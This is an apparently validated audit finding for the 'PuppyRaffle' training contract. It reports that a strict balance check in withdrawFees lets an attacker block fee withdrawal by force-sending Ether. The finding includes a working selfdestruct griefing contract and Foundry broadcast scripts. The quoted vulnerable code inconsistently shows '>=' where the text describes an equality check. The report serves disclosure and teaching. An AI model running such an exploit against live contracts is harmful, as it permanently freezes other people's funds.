Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Incorrect Equality Check in `PuppyRaffle::withdrawFees` Leads to Permanent Fund Loss

Summary

The withdrawFees function in PuppyRaffle uses incorrect equality checks, requiring that the contract's balance equals the total fees. This can potentially block fee withdrawal if additional Ether is sent to the contract outside of the raffle mechanism.

Vulnerability Details

The withdrawFees function in PuppyRaffle only allows withdrawal of totalFees if the contract's actual balance equals totalFees. This exposes the contract to a permanent fund loss.

In this scenario, if someone manages to send Ether into the contract through another means than enterRaffle, the feeAddress wouldn't be able to withdraw totalFees.

function withdrawFees() external {
require(
+ address(this).balance >= uint256(totalFees),
"PuppyRaffle: There are currently players active!"
);
// ...

Proof of Concept

The provided scripts and test suite demonstrate the validity and severity of the vulnerability.

### How to Run the Scripts

Requirements

  • Install Foundry.

  • Clone the project codebase to your local workspace.

  • Copy the codes in the codebase below into their respective file and folder. Note the file names and path provided at the end of each code.

  • Create a .env file in your root folder and add the required variables.

  • The .env file should follow this format:

RPC_URL=
PRIVATE_KEY=
ETHERSCAN_API_KEY=

Step-by-step Guide to Run the PoC

  1. Ensure the above requirements are met.

  2. Run source .env to load .env variables into the terminal.

  3. Change DeployPuppyRaffle.sol::duration from "1 day" to "5 minutes."

  4. Change DeployPuppyRaffle.sol::entranceFee from "1e18" to "100 wei" and set it as the PuppyRaffle constructor's first parameter.

  5. Run the necessary command to deploy the following contracts:

  6. To deploy the PuppyRaffle contract:

forge script script/DeployPuppyRaffle.sol:DeployPuppyRaffle --rpc-url $RPC_URL --private-key $PRIVATE_KEY --broadcast -vv
  1. To deploy the SuicideContract:

forge script script/DeploySuicideContract.s.sol:DeploySuicideContract --rpc-url $RPC_URL --private-key $PRIVATE_KEY --broadcast -vv
  1. Wait for five minutes, then run the command below to execute the exploit script:

forge script script/TriggerSuicide.s.sol:TriggerSuicide --rpc-url $RPC_URL --broadcast -vvvvv

The preceding steps involve deploying the PuppyRaffle contract, deploying a SuicideContract designed to self-destruct and send its balance to PuppyRaffle, offsetting the internal accounting, and making the withdrawFees function inaccessible. Finally, a script is executed to initiate the attack.

Proof of Exploit:

Please note the logged data.

The raffle session is over, a winner is selected, but the owner (same as message sender) can't withdraw the totalFees from the contract, causing a crash.

Codebase

The code below consists of Foundry scripts that deploy the contract to a chosen network and interact with it through our exploit script.

SuicideContract

// SPDX-License-Identifier: UNLICENSED
pragma solidity "0.8.19";
interface IPuppyRaffle {
function enterRaffle(address[] memory) external payable;
function refund(uint256) external;
function getActivePlayerIndex(address) external view returns (uint256);
function entranceFee() external view returns (uint256);
function totalFees() external view returns (uint256);
function previousWinner() external view returns (address);
function owner() external view returns (address);
function selectWinner() external;
function withdrawFees() external;
}
contract SuicideContract {
IPuppyRaffle puppyRaffle;
uint256 public entranceFee = 100 wei;
address public previousWinner;
address public owner;
uint256 public totalFees;
constructor(address _addr) payable {
puppyRaffle = IPuppyRaffle(_addr);
}
function enterRaffle() external payable {
/// @notice this is how players enter the raffle
address[] memory newPlayers = new address[](4);
newPlayers[0] = msg.sender;
newPlayers[1] = address(this);
newPlayers[2] = 0xcAcf4d840CB5D9a80e79b02e51186a966de757d9;
newPlayers[3] = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
puppyRaffle.enterRaffle{value: entranceFee * 4}(newPlayers);
}
function selectWinner() external {
puppyRaffle.selectWinner();
}
function getPreviousWinner() external returns (address) {
previousWinner = puppyRaffle.previousWinner();
return previousWinner;
}
function getOwner() external returns (address) {
owner = puppyRaffle.owner();
return owner;
}
function getTotalFees() external returns (uint256) {
totalFees = puppyRaffle.totalFees();
return totalFees;
}
function attack() external {
/// @notice contract self-destructs and forces a transfer of its balance to PuppyRaffle
selfdestruct(payable(address(puppyRaffle)));
}
receive() external payable {}
}
// File
name: SuicideContract.s.sol
// File path: script/DeploySuicideContract.s.sol

SuicideContract Deployment Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {Script, console} from "forge-std/Script.sol";
import {SuicideContract} from "../src/SuicideContract.sol";
contract DeploySuicideContract is Script {
function run() external returns (SuicideContract) {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address puppyAddr = 0xc2faAa7c42740c1eA9E4090835ee46aC8993B6Fb;
vm.startBroadcast(deployerPrivateKey);
SuicideContract attack = new SuicideContract{value: 2000}(puppyAddr);
vm.stopBroadcast();
return (attack);
}
}
// File name: DeployAttackContract.s.sol
// File path: script/DeployAttackContract.s.sol

Trigger Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
import {Script, console} from "forge-std/Script.sol";
interface ISuicideContract {
function attack() external payable;
function entranceFee() external returns (uint256);
function getTotalFees() external returns (uint256);
function enterRaffle() external payable;
function getPreviousWinner() external returns (address);
function getOwner() external returns (address);
function selectWinner() external;
}
interface IPuppyRaffle {
function withdrawFees() external;
}
contract TriggerSuicide is Script {
ISuicideContract public attack;
IPuppyRaffle public puppyRaffle;
uint256 puppyInitialBalance;
uint256 puppyBalanceAfterWinnerSelection;
uint256 puppyBalanceAfterAttack;
uint256 expectNormalBalance;
uint256 entranceFee;
uint256 initialTotalFees;
uint256 totalFeesAfterWinnerSelection;
uint256 totalFeesAfterAttack;
address previousWinner;
address owner;
address attackAddr = 0x51207e2718Fd3c18b61D107326E53339B024EC5b;
address puppyRaffleAddr = 0xc2faAa7c42740c1eA9E4090835ee46aC8993B6Fb;
function run() external {
uint256 privateKey = vm.envUint("PRIVATE_KEY");
address messageSender = vm.addr(privateKey);
vm.startBroadcast(privateKey);
attack = ISuicideContract(attackAddr);
entranceFee = attack.entranceFee();
puppyRaffle = IPuppyRaffle(puppyRaffleAddr);
/// @notice owner of puppy raffle
owner = attack.getOwner();
/// @notice enter the raffle
attack.enterRaffle{value: 1_000_000_000 wei}();
/// @notice accounting before a winner is selected (end of raffle)
puppyInitialBalance = address(puppyRaffle).balance;
initialTotalFees = attack.getTotalFees();
/// @notice select a winner
attack.selectWinner();
previousWinner = attack.getPreviousWinner();
/// @notice accounting after a winner is selected
puppyBalanceAfterWinnerSelection = address(puppyRaffle).balance;
totalFeesAfterWinnerSelection = attack.getTotalFees();
/// @notice suicide attack
attack.attack();
/// @notice accounting after the attack
puppyBalanceAfterAttack = address(puppyRaffle).balance;
totalFeesAfterAttack = attack.getTotalFees();
vm.stopBroadcast();
console.log("entrance fee: ", entranceFee);
console.log("puppy balance before winner selection: ", puppyInitialBalance);
console.log("total fees before winner selection: ", initialTotalFees);
console.log("recent winner: ", previousWinner);
console.log("puppy balance after winner selection: ", puppyBalanceAfterWinnerSelection);
console.log("total fees after winner selection: ", totalFeesAfterWinnerSelection);
console.log("puppy balance after attack: ", puppyBalanceAfterAttack);
console.log("total fees after attack: ", totalFeesAfterAttack);
console.log("owner: ", owner);
console.log("message sender: ", messageSender);
vm.startBroadcast(privateKey);
/// This transaction is expected to revert with "PuppyRaffle: There are currently players active!"
puppyRaffle.withdrawFees();
vm.stopBroadcast();
}
}
// File name: TriggerSuicide.s.sol
// File path: script/TriggerSuicide.s.sol

Impact

Permanent loss of funds accrue to PuppyRaffle from raffle sessions.

Exploit Scenario:

  1. A malicious actor (John) decides to compromise the network and prevent the protocol from withdrawing its revenue.

  2. John decides to force extra Ether into the contract.

  3. This prevents anyone from withdrawing the generated revenue.

Tools Used

  • Foundry

Recommendations

Avoid using address(this).balance for internal accounting. If you must use it, avoid strict equality checks for the Ether balance in a contract. Use the following approach:

function withdrawFees() external {
require(
+ address(this).balance >= uint256(totalFees),
"PuppyRaffle: There are currently players active!"
);
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success, ) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!